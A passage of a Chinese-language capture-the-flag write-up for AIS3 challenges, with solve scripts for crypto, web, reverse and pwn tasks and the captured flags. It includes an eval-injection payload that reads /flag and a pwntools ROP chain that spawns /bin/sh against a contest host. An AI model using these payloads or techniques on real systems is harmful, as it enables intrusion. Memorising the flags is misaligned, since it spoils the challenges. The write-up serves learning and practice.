r.sendlineafter(b": ", b"1") r.sendlineafter(b":", b64encode(payload)) c = b64decode(r.recvline().strip(b"'b\n")) print(len(c)) cipher64_80 = xor(c[64:80], message[64:80]) init_MDBuffer = produce(cipher64_80) # key = md5(message[128-16: 128], 128+16) # print(xor(key,c[128: 128+16])) # message += xor(key, c[128: 128+16]) # key = md5(message[128-16: 128+16], 128+16+16) # print(xor(key, c[128+16: 128+32])) # message += xor(key, c[128+16: 128+32]) for i in range(4): key = md5(message[128-16: 128+16*i], 128+16*(i+1)) message += xor(key, c[128+16*i: 128+16*(i+1)]) print(message) #AIS3{Got1stBlk!_2ndblk!almostdone!third_block~} ``` ## Web ### Evil Calculator 他是一個計算器，方式是輸入東西，然後會在後端用python的eval去執行，只要去修改送出去的request就可以送任意內容了。我一開始以為要做到RCE(但因為會把_和空格都replace掉所以沒辦法)，後來發現只要去讀flag就好了，以下是payload ```json {"expression":"open('/flag').read()"} //{"result":"AIS3{7RiANG13_5NAK3_I5_50_3Vi1}"} ``` ## Reverse ### The Long Print ```cpp! int __cdecl main(int argc, const char **argv, const char **envp) { unsigned int v4; // [rsp+4h] [rbp-Ch] int i; // [rsp+8h] [rbp-8h] int j; // [rsp+Ch] [rbp-4h] puts("Hope you have enough time to receive my flag:"); for ( i = 0; i <= 23; i += 2 ) { v4 = *(_DWORD *)&secret[4 * i] ^ key[*(unsigned int *)&secret[4 * i + 4]]; for ( j = 0; j <= 3; ++j ) { sleep(0x3674u); printf("%c", v4); v4 >>= 8; fflush(_bss_start); } } puts("\rOops! Where is the flag? I am sure that the flag is already printed!"); return 0; } ``` 這題我本來用靜態的，就是把那幾個陣列都弄出來，然後把code複製下來，但是一直怪怪的，所以我硬去執行他。他簡單的來說就是會經過xor之後得到一個unsigned int，然後把它一個一個byte輸出出來，中間有很多sleep。我直接用gdb開起來，執行到sleep之前在後面下斷點，然後跳到後面，看他print的內容。為了節省時間，我拿的是那個unsigned int，再把他print出來，以下是exploit ```cpp #include<stdio.h> void printflag(long long x){ for(int i = 0; i < 4; i++){ printf("%c", x); x >>= 8; } } int main(){ printflag(0x33534941); printflag(0x756f597b); printflag(0x6572615f); printflag(0x6568745f); printflag(0x73616d5f); printflag(0x5f726574); printflag(0x745f666f); printflag(0x5f656d69); printflag(0x616e616d); printflag(0x656d6567); printflag(0x2121746e); printflag(0x7d3f2121); } //AIS3{You_are_the_master_of_time_management!!!!?} ``` ### 火拳のエース ```cpp! int __cdecl main(int argc, const char **argv, const char **envp) { unsigned int v3; // eax int v5; // [esp-18h] [ebp-34h] int v6; // [esp-14h] [ebp-30h] int v7; // [esp-10h] [ebp-2Ch] int v8; // [esp+4h] [ebp-18h] int v9; // [esp+8h] [ebp-14h] int v10; // [esp+Ch] [ebp-10h] int i; // [esp+10h] [ebp-Ch] v3 = time(0); srand(v3); buffer0 = (char *)malloc(9u); buffer1 = (char *)malloc(9u); buffer2 = (char *)malloc(9u); buffer3 = (char *)malloc(9u); memset(buffer0, 0, 9u); memset(buffer1, 0, 9u); memset(buffer2, 0, 9u); memset(buffer3, 0, 9u); print_flag(); __isoc99_scanf("%8s %8s %8s %8s", buffer0, buffer1, buffer2, buffer3, v5, v6, v7); xor_strings(buffer0, &unk_804A163, buffer0); xor_strings(buffer1, v8, buffer1); xor_strings(buffer2, v9, buffer2); xor_strings(buffer3, v10, buffer3); for ( i = 0; i <= 7; ++i ) { buffer0[i] = complex_function(buffer0[i], i); buffer1[i] = complex_function(buffer1[i], i + 32); buffer2[i] = complex_function(buffer2[i], i + 64); buffer3[i] = complex_function(buffer3[i], i + 96); } if ( !strncmp(buffer0, "DHLIYJEG", 8u) && !strncmp(buffer1, "MZRERYND", 8u) && !strncmp(buffer2, "RUYODBAH", 8u) && !strncmp(buffer3, "BKEMPBRE", 8u) ) { puts("Yes! I remember now, this is it!"); } else { puts("It feels slightly wrong, but almost correct..."); } free(buffer0); free(buffer1); free(buffer2); free(buffer3); return 0; } ``` 這題先給了flag的前墜，他的後面分別塞在四個buffer裡面。buffer會先經過xor之後再經過complex_function。通過complex_function之前buffer的狀態可以透過逐位的窮舉得出，以下是exploit: ```cpp! #include<bits/stdc++.h> using namespace std; int complex_function(int a1, int a2) { int v2; // eax int v4; // [esp+8h] [ebp-10h] int v5; // [esp+Ch] [ebp-Ch] if ( a1 <= 64 || a1 > 90 ) { // puts("It feels slightly wrong, but almost correct..."); // exit(1); return -1; } v5 = (17 * a2 + a1 - 65) % 26; v4 = a2 % 3 + 3; v2 = a2 % 3; if ( a2 % 3 == 2 ) { v5 = (v5 - v4 + 26) % 26; } else if ( v2 <= 2 ) { if ( v2 ) { if ( v2 == 1 ) v5 = (2 * v4 + v5) % 26; } else { v5 = (v4 * v5 + 7) % 26; } } return v5 + 65; } char buffer0[8], buffer1[8], buffer2[8], buffer3[8]; string target0 = "DHLIYJEG"; string target1 = "MZRERYND"; string target2 = "RUYODBAH"; string target3 = "BKEMPBRE"; int main(){ for (int i = 0; i <= 7; ++i ) { for(int j = 0; j < 0xff; j++){ if(complex_function(j, i) == target0[i]){ buffer0[i] = j; } } for(int j = 0; j < 0xff; j++){ if(complex_function(j, i + 32) == target1[i]){ buffer1[i] = j; } } for(int j = 0; j < 0xff; j++){ if(complex_function(j, i + 64) == target2[i]){ buffer2[i] = j; break; } } for(int j = 0; j < 0xff; j++){ if(complex_function(j, i + 96) == target3[i]){ buffer3[i] = j; break; } } } for(int i = 0; i < 8; i++){ cout << buffer0[i]; } cout << "\n"; for(int i = 0; i < 8; i++){ cout << buffer1[i]; } cout << "\n"; for(int i = 0; i < 8; i++){ cout << buffer2[i]; } cout << "\n"; for(int i = 0; i < 8; i++){ cout << buffer3[i]; } } //QIIKAHBJ //TRDMYLWD //NMTLWVYB //ERHAXFUN ``` 接下來要去找xor之前的值，發現有幾個沒初始化的值v8, v9, v10，所以用動態分析的方式。找每次call xor_strings的arg[1] ，然後用小端序輸出，以下是exploit: ```python! #AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!} from pwn import * def xor(a: bytes, b: bytes) -> bytes: return bytes(x ^ y for x, y in zip(a, b)) c1 = b"QIIKAHBJ" key1 = b"\x0E\r}\x06\x0F\x17v\x04" c2 = b"TRDMYLWD" key2 = p64(0x1162136c7c1b006d) c3 = b"NMTLWVYB" key3 = p64(0x710e660713067e1e) c4 = b"ERHAXFUN" key4 = p64(0x33746779701d1417) print(xor(c1, key1) + xor(c2, key2) + xor(c3, key3) + xor(c4, key4)) #_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!} ``` ## Pwn ### mathter ```cpp __int64 goodbye() { char v1[4]; // [rsp+Ch] [rbp-4h] BYREF puts("Are you sure you want to leave? [Y/n]"); gets(v1); if ( v1[0] != 121 && v1[0] != 89 ) return 0LL; puts("Goodbye!"); return 1LL; } ``` 這個goodbye()裡有個buffer overflow，這個binary是static linked，所以直接用ROPgadget搓ROPchain，我是直接讓他生給我很醜的ROPchain，以下是exploit: ```python from pwn import * from struct import pack #r = process("./mathter", level="debug") r = remote("chals1.ais3.org", 50001) raw_input() r.sendlineafter(b": ", b"q") p = b'a' * 12 p += pack('<Q', 0x00000000004126a3) # pop rsi ; ret p += pack('<Q', 0x00000000004bc000) # @ .data p += pack('<Q', 0x000000000042e3a7) # pop rax ; ret p += b'/bin//sh' p += pack('<Q', 0x000000000042f981) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x00000000004126a3) # pop rsi ; ret p += pack('<Q', 0x00000000004bc008) # @ .data + 8 p += pack('<Q', 0x000000000042bda5) # xor rax, rax ; ret p += pack('<Q', 0x000000000042f981) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x0000000000402540) # pop rdi ; ret p += pack('<Q', 0x00000000004bc000) # @ .data p += pack('<Q', 0x00000000004126a3) # pop rsi ; ret p += pack('<Q', 0x00000000004bc008) # @ .data + 8 p += pack('<Q', 0x000000000047b917) # pop rdx ; pop rbx ; ret p += pack('<Q', 0x00000000004bc008) # @ .data + 8 p += pack('<Q', 0x4141414141414141) # padding p += pack('<Q', 0x000000000042bda5) # xor rax, rax ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004013ea) # syscall r.sendlineafter(b"]\n", p) r.interactive() #AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9} ```